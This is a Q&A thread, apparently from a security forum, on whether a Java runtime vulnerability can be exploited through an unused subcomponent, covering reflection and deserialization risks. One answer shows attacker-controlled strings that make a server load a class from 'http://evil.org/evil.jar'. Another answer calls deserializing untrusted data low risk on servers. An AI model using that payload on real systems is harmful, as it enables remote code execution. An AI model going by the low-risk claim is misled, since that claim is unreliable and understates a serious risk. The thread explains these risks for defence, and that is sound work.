Java vulnerability applicability

Question

On a server running Java, can a JRE vulnerability be exploited even in cases where the named subcomponent is not used by the application?

See CVE-2011-3545, for which the vulnerable subcomponent is "Sound". My Java app does not use the Sound subcomponent.

Answer 1

This is a extremely generic question:

It is common to combine several minor vulnerabilities, that are not exploitable on their own, to exploit a system.

The jetty json parser happily loads any class that is named in the class attribute of a json string. And the main motivation to parse a json string on the server is to parse client data. JDBC drivers are supposed to register themselves on class load.

Another common minor vulnerability is to instantiate objects of user provided class-names via reflection before verifying that they implement the expected interface. This allows creation of all objects, that have a matching constructor, and execution of the code in that constructor.

So it really depends on the vulnerability and the control that can be exercised.

Edit

The official comment on the concrete vulnerability, you added to your question, is this:

CVE-2011-3545

Component: Sound

Access Vector: Network

See Note 2

Note 2: Applies to client and server deployments of Java. This vulnerability can be exploited through Untrusted Java Web Start applications and Untrusted Java applets. It can also be exploited by supplying data to APIs in the specified Component without using untrusted Java Web Start applications or untrusted Java applets, such as through a web service.

If that is all the information that is available, you should updated. "Access Vector: Network / web services" does not sound good.

Even worse: If your server has a web browser with Java installed, someone might be tempted to use the web for trouble shooting. This vulnerability is exploitable by visiting infected website without any user interaction (drive by download).

Answer 2

Via reflection, any package on the class-path is potentially used. Common services built on reflection (e.g. deserialization) also mean that any loadable class is usable. ObjectInputStream and other commonly used APIs can be a source of vulnerabilities.

To understand reflective vulns: if an attacker can get a string they control to Class.forName or some other reflective mechanism then they can probably cause that class to be loaded. For example, if the attacker controls the value of s,

Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();

then they can cause any class visible to the bootstrap classloader to be loaded.

If the attacker can cause your application to deserialize bytes that they specify, then they can cause you to load any class on the classpath. ObjectInputStream will look for a class name specified in its byte[] and load that class to see if it implements Externalizable. The class will be initialized if it implements Serializable.

http://download.oracle.com/javase/6/docs/platform/serialization/spec/security.html#4169

Naive use of object serialization may allow a malicious party with access to the serialization byte stream to read private data, create objects with illegal or dangerous state, or obtain references to the private fields of deserialized objects.

https://www.securecoding.cert.org/confluence/display/java/SER04-J.+Do+not+allow+serialization+and+deserialization+to+bypass+the+security+manager

Serialization and deserialization features can be exploited to bypass security manager checks.

Further, multiple attacks on reflective APIs can be chained. If the attacker controls the string s0...s4 in the below then they can cause any class to be loaded:

Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);

Consider what happens when

s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";

Attackers who can specify system properties can also change the classpath to include trojan classes.

The moral of this story is, keep untrusted strings and bytes away from reflective facilities and related facilities including deserialization, RPC/RMI, etc.

Answer 3

On a server it is low risk even if you are deserializing untrusted content either though ObjectInputStream or some kind of json/xml serialization. Any remote attack using ObjectInputStream would probably require an exploit to invoke arbitrary methods which would allow an attacker to use Process#start. so it is not necessary to use the exploit to do bad stuff :) json serialization that does newInstance and just calls setters should be safe as well. if you have some weird setter methods in your application that allows an attacker to call arbitrary methods then you are already screwed anyway because they could just use the Process#start to call arbitrary code.

i think the only way this increases your risk is if you are doing serialization is if you are using a security manager. if you have an exploit in your application that allows an attacker to execute arbitrary code then it might be possible for an attacker to disable the security manager so they can execute some of the bad methods like Process#start. most server applications don't use a security manager though...